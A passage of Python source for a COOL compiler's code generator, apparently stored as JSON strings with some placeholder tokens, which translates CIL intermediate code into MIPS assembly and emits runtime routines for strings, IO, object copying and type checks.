self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n\n def static_datas(self):\n self.write_file('str_buffer: .space 1025')\n self.write_file('')\n self.write_file(\n '_index_negative_msg: .asciiz \"Index to substr is negative\\\\n\"')\n self.write_file(\n '_index_out_msg: .asciiz \"Index out range exception\\\\n\"')\n self.write_file('_abort_msg: \"Execution aborted\\\\n\"')\n self.write_file('_div_zero_msg: \"Division by zero exception\\\\n\"')\n self.write_file('')\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b 